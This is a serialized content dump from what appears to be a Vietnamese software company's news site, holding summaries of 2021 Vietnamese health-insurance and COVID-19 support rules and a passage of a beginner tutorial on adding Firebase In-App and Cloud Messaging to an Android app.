[{"data":1,"prerenderedAt":13149},["ShallowReactive",2],{"all-news-en":3},[4,81,252,270,389,1328,1734,2127,2252,2371,2448,2551,2567,2583,2599,2615,2631,2647,2931,3008,3023,3211,3356,3744,3871,4091,4178,4317,4429,4499,4565,4581,4715,4910,5179,5703,5875,5915,5931,5947,5962,5978,6206,6548,6604,6659,6711,6761,6809,6861,6908,6953,8247,8930,8947,9627,9643,10744,11014,11139,12335,12351,12368],{"id":5,"title":6,"body":7,"category":69,"created by":70,"date":71,"description":13,"extension":72,"meta":73,"navigation":74,"path":75,"sections":76,"seo":77,"stem":78,"thumbnail":79,"__hash__":80},"content_en\u002Fnews\u002F03-truong-hop-kham-chua-benh-dung-tuyen-bhyt-lien-quan-den-dich-covid-19.md","03 CASES OF APPROPRIATE MEDICAL EXAMINATION AND TREATMENT FEES UNDER HEALTH INSURANCE RELATED TO COVID-19",{"type":8,"value":9,"toc":65},"minimark",[10,14,17,24,30,40,46],[11,12,13],"p",{},"In Official Dispatch No. 3100\u002FBYT-BH dated 20\u002F04\u002F2021, the Ministry of Health has issued provisional guidelines for settling costs for medical examination and treatment covered by health insurance, related to the Covid-19 pandemic.",[11,15,16],{},"Accordingly, there are 03 cases that are considered as medical examination and treatment with health insurance at the right level, related to the Covid-19 epidemic as follows:",[11,18,19,23],{},[20,21,22],"strong",{},"1. The first:"," For each holder of health insurance cards who are experiencing concentrated medical quarantine due to Covid-19 and must get medical service at health facilities: Health Insurance Fund shall settle costs for medical examination and treatment for other diseases within the scope of insurance liability and amount similar to cases of medical examination and treatment inappropriate level, except for medical examination and treatment resulting from COVID-19 paid by the State budget, including costs for medical examination, hospital beds, technical services, medicine, blood, intravenous fluid, etc. according to guidelines of Ministry of Health;",[11,25,26,29],{},[20,27,28],{},"2. The Second:"," In case medical examination and treatment establishments, utilize health insurance must organize concentrated quarantine under decisions of competent authorities or are assigned by competent authorities to provide medical examination and treatment for persons infected or suspected to have been infected with COVID-19, Departments of Health shall cooperate with Social Security of provinces and central-affiliated cities:",[31,32,33,37],"ul",{},[34,35,36],"li",{},"Instruct applicants for initial medical examination and treatment under health insurance in the medical examination and treatment establishments to apply for initial medical examination and treatment in other establishments within provinces and cities;",[34,38,39],{},"Instruct medical examination and treatment establishments to transfer patients to establishments in other levels for medical examination and treatment depending on epidemic situations.",[11,41,42,45],{},[20,43,44],{},"3. The third:"," For patients who have been prescribed, issued with medicines, medical equipment, provided with treatment, issued with a notice of re-examination appointment or medical examination number, medical records for re-examination appointment (referred to as “notice of re-examination appointment”) by medical examination and treatment establishments but are unable to arrive for re-examination.Patients may use notice of re-examination appointment of medical examination and treatment establishments that issue the notice in other medical examination and treatment establishments accepting health insurance under guidelines of the issuing establishments and guidelines of Departments of Health, local Social Security where the patients reside or undergo quarantine to receive medical examination and treatment.In case the epidemic has ceased, patients may use notice of re-examination of medical examination and treatment establishments that issue medicine and medical equipment to receive medical examination and treatment in medical examination and treatment establishments that deliver medicine and medical equipment.These cases are defined to be medical examinations and treatments covered by health insurance at appropriate levels.",[11,47,48,61,62],{},[20,49,50],{},[51,52,53,54],"em",{},"Reference: ",[55,56,60],"a",{"href":57,"rel":58},"https:\u002F\u002Fthuvienphapluat.vn\u002Fcong-van\u002FTai-chinh-nha-nuoc\u002FCong-van-3100-BYT-BH-2021-thanh-toan-chi-phi-kham-chua-benh-lien-quan-den-dich-COVID19-471655.aspx",[59],"nofollow","Official Dispatch 3100\u002FBYT-BH","  ",[55,63],{"href":57,"rel":64},[59],{"title":66,"searchDepth":67,"depth":67,"links":68},"",2,[],"news","Briswell Vietnam Co Ltd","2021-07-16","md",{},true,"\u002Fnews\u002F03-truong-hop-kham-chua-benh-dung-tuyen-bhyt-lien-quan-den-dich-covid-19",null,{"title":6,"description":13},"news\u002F03-truong-hop-kham-chua-benh-dung-tuyen-bhyt-lien-quan-den-dich-covid-19","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F24094253\u002FKCBdungtuyenlienquandenCovid19.png","AQCVdswS8u5A2fvL8l6qQhLsHQkkCmWJjOjCztu3Zso",{"id":82,"title":83,"body":84,"category":69,"created by":243,"date":244,"description":245,"extension":72,"meta":246,"navigation":74,"path":247,"sections":76,"seo":248,"stem":249,"thumbnail":250,"__hash__":251},"content_en\u002Fnews\u002F5-chinh-sach-moi-anh-huong-den-quyen-loi-bao-hiem-y-te-co-hieu-luc-tu-01-07-2021.md","5 NEW POLICIES AFFECTING HEALTH INSURANCE BENEFITS EFFECTIVE FROM 01\u002F07\u002F2021",{"type":8,"value":85,"toc":241},[86,89,94,97,100,103,109,112,120,123,128,131,139,144,147,150,158,163,166,169,183,186,197,202],[11,87,88],{},"From 01\u002F07\u002F2021, there are a number of documents officially coming into effect that directly affect the benefits of the participants of health insurance (HI) are listed below:",[11,90,91],{},[20,92,93],{},"1\u002F Changing the concept of “Household participating in health insurance”",[11,95,96],{},"The Law on Residence 2020 takes effect on 01\u002F07\u002F2021, this Law amends the regulations on households participating in HI under the HI law.",[11,98,99],{},"In detail: Households participating in HI are those who jointly register for permanent residence or temporary residence at a lawful residence as prescribed by law (previously, the HI law stipulates that a household participating in HI is all the people named in the household registration book or temporary residence book).",[11,101,102],{},"The reason for this change is because the new Residence Law has officially eliminated the household registration book.",[11,104,105,106],{}," \n",[20,107,108],{},"2\u002F More subjects are granted free health insurance cards",[11,110,111],{},"Decree 20\u002F2021\u002FND-CP on social assistance policies for beneficiaries of social protection will also take effect from 01\u002F07\u002F2021, this decree adds a number of cases where free HI cards are granted such as:",[31,113,114,117],{},[34,115,116],{},"The poor or near-poor households who are single and are raising children under 16 years old or are raising children aged between 16 and 22 years old and that child is studying culture, vocational training, professional secondary school, college or university (previously, only their children were supported to issue HI cards).",[34,118,119],{},"People infected with HIV\u002FAIDS belong to poor households without stable monthly income sources such as salary, wages, pension, social insurance allowance, monthly social allowance.",[11,121,122],{},"➜ According to this Decree, in case a person is eligible for multiple types of HI cards, only one HI card with the highest benefits will be issued.",[11,124,125],{},[20,126,127],{},"3\u002F Health insurance policy for relatives of war invalids and sick soldiers",[11,129,130],{},"The Ordinance on Incentives for people with merit No. 02\u002F2020\u002FUBTVQH14 also takes effect from 01\u002F07\u002F2021, according to this ordinance, not only war invalids and sick soldiers but their relatives are also entitled to this policy. In detail:",[31,132,133,136],{},[34,134,135],{},"Natural parents, spouse, children from full 6 years old to under 18 years old or 18 years old or older, if they continue to go to school or are severely disabled, policy beneficiaries such as war invalids and sick soldiers with an injury rate of 61% or more;",[34,137,138],{},"Servicemen, war invalids, beneficiaries of policies like invalids, and servicemen of war invalids with a body injury rate of 81% or more live in the same house.",[11,140,141],{},[20,142,143],{},"4\u002F Paying for medical examination and treatment costs",[11,145,146],{},"Date 01\u002F07\u002F2021 is the time to apply Circular 04\u002F2021\u002FTT-BYT guiding the payment of medical examination and treatment expenses with HI according to the capitation rate.",[11,148,149],{},"According to this circular, the capitation fund is a predetermined amount of money assigned to a healthcare facility with HI for outpatient medical examination and treatment for patients with HI cards within the quota within a certain period of time.",[31,151,152,155],{},[34,153,154],{},"The scope of capitation for hospitals at the district level and below is the entire cost of outpatient medical examination and treatment within the scope of benefits of the insured, minus a number of other expenses.",[34,156,157],{},"The scope of capitation for provincial and central hospitals is the entire cost of outpatient medical examination and treatment within the quota of patients registering for initial medical examination and treatment incurred at the facility, minus a number of other expenses.",[11,159,160],{},[20,161,162],{},"5\u002F The price of medical examination and treatment services must be publicized for holders of health insurance cards",[11,164,165],{},"Also from 01\u002F07\u002F2021, Circular 05\u002F2021\u002FTT-BYT - implementing democracy in medical examination and treatment activities at public hospitals will be applied.",[11,167,168],{},"This circular specifies that public hospitals need to disclose:",[31,170,171,174,177,180],{},[34,172,173],{},"Fees for medical examination and treatment services for patients with HI cards;",[34,175,176],{},"Fees for unsolicited medical examination and treatment services for patients without HI cards;",[34,178,179],{},"The regime of exemption and reduction of medical examination and treatment services;",[34,181,182],{},"Implement HI policies, pay prices and costs of medical examination and treatment covered by HI.",[11,184,185],{},"In addition, patients are also entitled to participate in:",[31,187,188,191,194],{},[34,189,190],{},"Contribute ideas and supervise the implementation of health regimes and policies related to their legitimate rights and interests;",[34,192,193],{},"HI policy;",[34,195,196],{},"Service attitude of the doctor.",[11,198,199],{},[20,200,201],{},"References:",[203,204,205,213,220,227,234],"ol",{},[34,206,207,208,212],{},"Residence Law 2020: ",[55,209,210],{"href":210,"rel":211},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FQuyen-dan-su\u002FLuat-68-2020-QH14-cu-tru-435315.aspx",[59]," ",[34,214,215,216],{},"Decree 20\u002F2021\u002FND-CP: ",[55,217,218],{"href":218,"rel":219},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fvan-hoa-xa-hoi\u002FNghi-dinh-20-2021-ND-CP-chinh-sach-tro-giup-xa-hoi-doi-voi-doi-tuong-bao-tro-xa-hoi-467723.aspx",[59],[34,221,222,223],{},"Ordinance No: 02\u002F2020\u002FUBTVQH14: ",[55,224,225],{"href":225,"rel":226},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FVan-hoa-Xa-hoi\u002FPhap-lenh-02-2020-UBTVQH14-uu-dai-nguoi-co-cong-voi-Cach-mang-460718.aspx",[59],[34,228,229,230,212],{},"Circular 04\u002F2021\u002FTT-BYT: ",[55,231,232],{"href":232,"rel":233},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fbao-hiem\u002FThong-tu-04-2021-TT-BYT-thanh-toan-chi-phi-kham-chua-benh-bao-hiem-y-te-theo-dinh-suat-384208.aspx",[59],[34,235,236,237],{},"Circular 05\u002F2021\u002FTT-BYT: ",[55,238,239],{"href":239,"rel":240},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fbo-may-hanh-chinh\u002FThong-tu-05-2021-TT-BYT-thuc-hien-dan-chu-trong-hoat-dong-co-so-kham-chua-benh-cong-lap-465922.aspx",[59],{"title":66,"searchDepth":67,"depth":67,"links":242},[],"TRAN VO THI BAO","2021-09-01","From 01\u002F07\u002F2021, there are a number of documents officially coming into effect that directly affect the benefits of the participants of health insurance (HI).",{},"\u002Fnews\u002F5-chinh-sach-moi-anh-huong-den-quyen-loi-bao-hiem-y-te-co-hieu-luc-tu-01-07-2021",{"title":83,"description":245},"news\u002F5-chinh-sach-moi-anh-huong-den-quyen-loi-bao-hiem-y-te-co-hieu-luc-tu-01-07-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F08\u002F02170756\u002F5ChinhSachMoiAnhHuongDenBHYT.png","LWvCI5KUmmOE8koD5tuedIhVmRbuGp07PbFxvnpQQEM",{"id":253,"title":254,"body":255,"category":262,"created by":70,"date":263,"description":259,"extension":72,"meta":264,"navigation":74,"path":265,"sections":76,"seo":266,"stem":267,"thumbnail":268,"__hash__":269},"content_en\u002Fnews\u002F7-nguyen-tac-trong-kiem-thu-phan-mem.md","(日本語) テストの7原則",{"type":8,"value":256,"toc":260},[257],[11,258,259],{},"Sorry, this entry is only available in 日本語 and Vietnamese.",{"title":66,"searchDepth":67,"depth":67,"links":261},[],"testing","2024-10-14",{},"\u002Fnews\u002F7-nguyen-tac-trong-kiem-thu-phan-mem",{"title":254,"description":259},"news\u002F7-nguyen-tac-trong-kiem-thu-phan-mem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F06170731\u002FScreenshot-2024-11-06-170623-1.png","uAZTeeMbwIHsy5NfkdvYEZlh7xgaaVl9rMjr9JkTi44",{"id":271,"title":272,"body":273,"category":69,"created by":70,"date":381,"description":382,"extension":72,"meta":383,"navigation":74,"path":384,"sections":76,"seo":385,"stem":386,"thumbnail":387,"__hash__":388},"content_en\u002Fnews\u002F7subject-benefit-covid19.md","7 SUBJECTS CAN GET BENEFIT SUPPORT BECAUSE OF THE EFFECT COVID-19 VIRUS",{"type":8,"value":274,"toc":379},[275],[276,277,278,300],"table",{},[279,280,281],"thead",{},[282,283,284,290,295],"tr",{},[285,286,287],"th",{},[20,288,289],{},"No",[285,291,292],{},[20,293,294],{},"Subject",[285,296,297],{},[20,298,299],{},"Support level",[301,302,303,315,326,337,347,358,368],"tbody",{},[282,304,305,309,312],{},[306,307,308],"td",{},"1",[306,310,311],{},"Employees have to delay a labour contract, leave their job and don't calculate salary over 1 month.",[306,313,314],{},"1.800.000 vnd\u002F person\u002F month",[282,316,317,320,323],{},[306,318,319],{},"2",[306,321,322],{},"The employer has financial difficulties and already paid a 50% stop-working salary to their employee.",[306,324,325],{},"Permission business loan capital maximum 50% of region minimum wage for each employee with interest 0%.",[282,327,328,331,334],{},[306,329,330],{},"3",[306,332,333],{},"Business Households have revenue under 100 million\u002F year and stop temporarily business.",[306,335,336],{},"1.000.000 vnd\u002F person\u002F month",[282,338,339,342,345],{},[306,340,341],{},"4",[306,343,344],{},"The Employee has to stop the labour contract but not enough conditions get unemployment insurance, employees don't have labour contracts and lose a job.",[306,346,336],{},[282,348,349,352,355],{},[306,350,351],{},"5",[306,353,354],{},"Who have contributed to the revolution are getting a monthly preferential allowance.",[306,356,357],{},"500.000 vnd\u002F person\u002F month",[282,359,360,363,366],{},[306,361,362],{},"6",[306,364,365],{},"Social protection beneficiaries are getting a monthly social allowance.",[306,367,357],{},[282,369,370,373,376],{},[306,371,372],{},"7",[306,374,375],{},"Poor, near-poor households.",[306,377,378],{},"250.000 vnd\u002F person\u002F month",{"title":66,"searchDepth":67,"depth":67,"links":380},[],"2020-05-21","No Subject Support level 1 Employees have to delay a labour contract, leave their job and don’t calculate salary over 1 month. 1.800.000 vnd\u002F person\u002F month 2 The employer has financial difficulties and already paid a 50% stop-working salary to their employee. Permission business loan capital maximum 50% of region minimum wage for each employee with interest 0%. 3 Business Households have revenue under",{},"\u002Fnews\u002F7subject-benefit-covid19",{"title":272,"description":382},"news\u002F7subject-benefit-covid19","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F05\u002F13074306\u002F33175415-vietnamese-money-dong-spread-background-texture.jpg","_XCQcAqAoP2uggvK8ruSm2rk9txkUXIWJnVJ6kNad3g",{"id":390,"title":391,"body":392,"category":1317,"created by":70,"date":1320,"description":1321,"extension":72,"meta":1322,"navigation":74,"path":1323,"sections":76,"seo":1324,"stem":1325,"thumbnail":1326,"__hash__":1327},"content_en\u002Fnews\u002Fandroid-firebase-for-beginer.md","Android Firebase for beginers",{"type":8,"value":393,"toc":1299},[394,402,407,416,420,427,437,445,451,455,465,475,479,495,514,520,530,534,542,546,556,560,564,569,572,576,599,604,614,618,623,627,639,643,669,679,692,696,703,707,713,717,731,733,737,748,750,754,761,764,779,781,785,789,792,795,798,812,816,821,827,834,838,849,853,861,865,879,883,888,894,898,919,926,932,936,943,949,953,962,968,972,975,979,987,993,1001,1005,1028,1032,1039,1043,1052,1057,1070,1078,1082,1087,1091,1104,1106,1110,1114,1117,1120,1123,1133,1137,1142,1146,1154,1159,1165,1170,1177,1182,1185,1191,1197,1200,1206,1209,1215,1222,1226,1231,1237,1241,1246,1252,1256,1261,1267,1271,1275,1281,1287,1293],[395,396,399],"h1",{"style":397,"id":398},"text-align:center;","firebase",[20,400,401],{},"Firebase",[403,404,406],"h2",{"id":405},"i-what-is-firebase","I. What is Firebase",[11,408,409,410,415],{},"Google Firebase is a Google-backed application development software that enables developers to develop iOS, Android and ",[55,411,414],{"href":412,"rel":413},"https:\u002F\u002Fsearchsoftwarequality.techtarget.com\u002Fdefinition\u002FWeb-application-Web-app",[59],"Web apps",". Firebase provides tools for tracking analytics, reporting and fixing app crashes, creating marketing and product experiment. Firebase has many services and today I'm going to introduce to in-app messaging, cloud messages and real-time databases.",[403,417,419],{"id":418},"ii-add-firebase-to-your-app","II. Add Firebase to your app",[11,421,422,423],{},"Before you integrate Firebase into your Android app, you need to create a Firebase project to connect to your Android app. log in to Firebase console in this link ",[55,424,425],{"href":425,"rel":426},"https:\u002F\u002Fconsole.firebase.google.com\u002F?hl=en",[59],[11,428,429,432,433,436],{},[20,430,431],{},"Step 1",": After you signed-in to Firebase, click on \"",[20,434,435],{},"Create a project","\".",[438,439],"img",{"className":440,"alt":66,"src":443,"style":444},[441,442],"block","mx-auto","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075255\u002FScreen-Shot-2020-02-20-at-9.31.55-AM.png","width: 100%;",[11,446,447,450],{},[20,448,449],{},"Step 2",": There are steps to take to create a new Firebase project. Click on Android icon.",[438,452],{"className":453,"alt":66,"src":454,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075332\u002FScreen-Shot-2020-02-20-at-9.43.53-AM.png",[11,456,457,460,461,464],{},[20,458,459],{},"Step 3",": Enter your \"",[20,462,463],{},"Android package name","\" the same as package name in AndroidManifest",[11,466,467,472],{},[438,468],{"className":469,"alt":66,"src":470,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075551\u002FScreen-Shot-2020-02-21-at-3.19.26-PM.png","width: 70%;",[473,474],"br",{},[438,476],{"className":477,"alt":66,"src":478,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075616\u002FScreen-Shot-2020-02-20-at-9.51.12-AM-1024x121.png",[11,480,481,484,485,488,489,493],{},[20,482,483],{},"Step 4",":  Download \"",[20,486,487],{},"google-services.json\""," and add to the project.\n",[438,490],{"className":491,"alt":66,"src":492,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075822\u002FScreen-Shot-2020-02-21-at-3.20.06-PM.png",[473,494],{},[11,496,497,498,501,502,507,508,510],{},"Click on Project to switch view, you will see the root directory of the project . Put the \"",[20,499,500],{},"google-services.json","\" file into  \"Project\u002F~\u002Fapp\" folder.\n",[438,503],{"className":504,"alt":66,"src":505,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075857\u002FScreen-Shot-2020-02-20-at-9.56.43-AM.png","width: 50%;"," ",[473,509],{},[438,511],{"className":512,"alt":66,"src":513,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075949\u002FScreen-Shot-2020-02-20-at-9.58.50-AM.png",[11,515,516,519],{},[20,517,518],{},"Step 5",": Add Firebase SDK.",[11,521,522,525,526,529],{},[20,523,524],{},"1."," In \"",[20,527,528],{},"build.gradle","\" (Project):",[438,531],{"className":532,"alt":66,"src":533,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080017\u002FScreen-Shot-2020-02-20-at-10.06.20-AM-1024x479.png",[11,535,536,525,539,541],{},[20,537,538],{},"2.",[20,540,528],{},"\" (app):",[438,543],{"className":544,"alt":66,"src":545,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080017\u002FScreen-Shot-2020-02-20-at-10.06.20-AM.png",[11,547,548,551,552,555],{},[20,549,550],{},"Step 6",": Run and wait Firebase verify the app, you will see message when success, click on “",[20,553,554],{},"Continue to console","”.",[438,557],{"className":558,"alt":66,"src":559,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080122\u002FScreen-Shot-2020-02-19-at-4.31.20-PM-31.png",[403,561,563],{"id":562},"iiiin-app-message","III. In-App Message",[565,566,568],"h3",{"id":567},"_1-introduction","1. Introduction",[11,570,571],{},"Firebase In-App Messaging helps you engage your app's active users by sending them targeted, contextual messages that encourage them to use key app features. For example, you could send an in-app message to get users to subscribe, watch a video, complete a level, or buy an item. You can customize messages as cards, banners, modals, or images, and set up triggers so that they appear exactly when they'd benefit your users most.",[565,573,575],{"id":574},"_2-get-start","2. Get start",[11,577,578,580,581,507,584,587,588,590,591,594,595],{},[20,579,431],{},": Add “",[20,582,583],{},"implementation",[20,585,586],{},"‘com.google.firebase:firebase-inappmessaging-display:19.0.3’"," into \"",[20,589,528],{},"\" (app) and Click \"",[20,592,593],{},"Sync Now","\". ",[438,596],{"className":597,"alt":66,"src":598,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080223\u002FScreen-Shot-2020-02-19-at-4.51.31-PM-33-1024x641.png",[11,600,601,603],{},[20,602,449],{},": Get Firebase instance ID (this id's used to test in-app message on Firebase).",[605,606,611],"pre",{"className":607,"code":609,"language":610},[608],"language-text","private fun createInstanceId() {\n    FirebaseInstanceId.getInstance().instanceId.addOnCompleteListener { task ->\n        if (!task.isSuccessful) {\n            Log.w(TAG, \"getInstanceId failed\", task.exception)\n            return@addOnCompleteListener\n        }\n\n        \u002F\u002Fcreate new instance id Token\n        val msg = task.result?.id\n        Log.d(TAG, \"token: $msg\")\n    }\n}\n","text",[612,613,609],"code",{"__ignoreMap":66},[438,615],{"className":616,"alt":66,"src":617,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080253\u002FScreen-Shot-2020-02-19-at-5.01.04-PM-35-1024x417.png",[11,619,620,622],{},[20,621,459],{},": Run the app and open \"Logcat\" tool, we will see the ID token.",[438,624],{"className":625,"alt":66,"src":626,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080319\u002FScreen-Shot-2020-02-19-at-5.23.36-PM-51-1024x625.png",[11,628,629,631,632,635,636,555],{},[20,630,483],{},": Copy the ID token, open Firebase console -> \"",[20,633,634],{},"In-App Messaging","\", click “",[20,637,638],{},"Create your first campaign",[438,640],{"className":641,"alt":66,"src":642,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080401\u002FScreen-Shot-2020-02-19-at-5.06.23-PM-41-1024x606.png",[11,644,645,647,648,651,652,655,656,659,660,664,665],{},[20,646,518],{},": Enter \"",[20,649,650],{},"Message title","\" (ex: Hello I'm FireBase), \"",[20,653,654],{},"Body","\" (optional), \"",[20,657,658],{},"Images","\" (ex: ",[55,661,662],{"href":662,"rel":663},"https:\u002F\u002Fcdn.pixabay.com\u002Fphoto\u002F2015\u002F10\u002F12\u002F14\u002F54\u002Fcoffee-983955_960_720.jpg",[59],") ",[438,666],{"className":667,"alt":66,"src":668,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080500\u002FScreen-Shot-2020-02-19-at-5.12.17-PM-45-1.png",[11,670,671,672,594,675],{},"Add \"",[20,673,674],{},"Button text",[438,676],{"className":677,"alt":66,"src":678,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080533\u002FScreen-Shot-2020-02-19-at-5.12.47-PM-47.png",[11,680,681,683,684,687,688,691],{},[20,682,550],{},": Click “",[20,685,686],{},"Test on Device","”, and paste the ID token into \"",[20,689,690],{},"Add an instance ID","\" field.",[438,693],{"className":694,"alt":66,"src":695,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080559\u002FScreen-Shot-2020-02-19-at-5.17.37-PM-49.png",[11,697,698,699,702],{},"Firebase In-App Messaging sends the test message as soon as you click \"",[20,700,701],{},"Test","\". To see it, move the app to background, then re-open the app on your testing device.",[438,704],{"className":705,"alt":66,"src":706,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080625\u002FScreen-Shot-2020-02-19-at-5.24.22-PM-53-1024x663.png",[11,708,709,712],{},[20,710,711],{},"Result",":",[438,714],{"className":715,"alt":66,"src":716,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080648\u002FScreenshot_20200219-173204-57-768x1365.jpg",[11,718,719,722,723,726,727],{},[20,720,721],{},"Step 7",": After test successfully, click \"",[20,724,725],{},"Next\""," to continue. ",[438,728],{"className":729,"alt":66,"src":730,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080709\u002FScreen-Shot-2020-02-20-at-10.50.56-AM.png",[473,732],{},[438,734],{"className":735,"alt":66,"src":736,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080755\u002FScreen-Shot-2020-02-20-at-10.54.15-AM.png",[11,738,739,740,743,744],{},"Click \"",[20,741,742],{},"Review","\" to publish your message. ",[438,745],{"className":746,"alt":66,"src":747,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080836\u002FScreen-Shot-2020-02-20-at-10.56.19-AM.png",[473,749],{},[438,751],{"className":752,"alt":66,"src":753,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080911\u002FScreen-Shot-2020-02-20-at-10.55.31-AM-1024x663.png",[11,755,756,757,760],{},"When click \"",[20,758,759],{},"Publish","\" message will send to the app.",[11,762,763],{},"Result:",[765,766,771,775],"div",{"className":767},[768,769,770],"flex","justify-center","gap-4",[438,772],{"className":773,"alt":66,"src":774,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080936\u002FScreenshot_20200219-173204-57-1-576x1024.jpg",[438,776],{"className":777,"alt":66,"src":778,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080953\u002FScreenshot_20200219-173801-59-576x1024.jpg",[473,780],{},[438,782],{"className":783,"alt":66,"src":784,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081013\u002FScreenshot_20200219-173901-61-576x1024.jpg",[403,786,788],{"id":787},"iv-cloud-message","IV. Cloud Message",[565,790,568],{"id":791},"_1-introduction-1",[11,793,794],{},"Firebase Cloud Messaging (FCM) is a cross-platform messaging solution that lets you reliably send messages at no cost. Using FCM, you can notify a client app that new email or other data is available to sync. You can send notification messages to drive user re-engagement and retention. For use cases such as instant messaging, a message can transfer a payload of up to 4KB to a client app.",[565,796,575],{"id":797},"_2-get-start-1",[11,799,800,580,802,507,804,807,808,590,810,436],{},[20,801,431],{},[20,803,583],{},[20,805,806],{},"‘com.google.firebase:firebase-messaging:20.1.0’"," \"into \"",[20,809,528],{},[20,811,593],{},[438,813],{"className":814,"alt":66,"src":815,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081040\u002FScreen-Shot-2020-02-20-at-8.07.39-AM-63-1024x627.png",[11,817,818,820],{},[20,819,449],{}," : Add filter to AndroidManifest file.",[605,822,825],{"className":823,"code":824,"language":610},[608],"\u003Cservice\n    android:name=\".java.MyFirebaseMessagingService\"\n    android:exported=\"false\">\n    \u003Cintent-filter>\n        \u003Caction android:name=\"com.google.firebase.MESSAGING_EVENT\" \u002F>\n    \u003C\u002Fintent-filter>\n\u003C\u002Fservice>\n",[612,826,824],{"__ignoreMap":66},[11,828,829,830,833],{},"MyFirebaseMessagingService is a service that extends ",[51,831,832],{},"FirebaseMessagingService",". This is required when you want to do any message handling beyond receiving notifications on apps in the background. To receive notifications in foreground apps, to receive data payload, to send upstream messages, and so on, you must use this 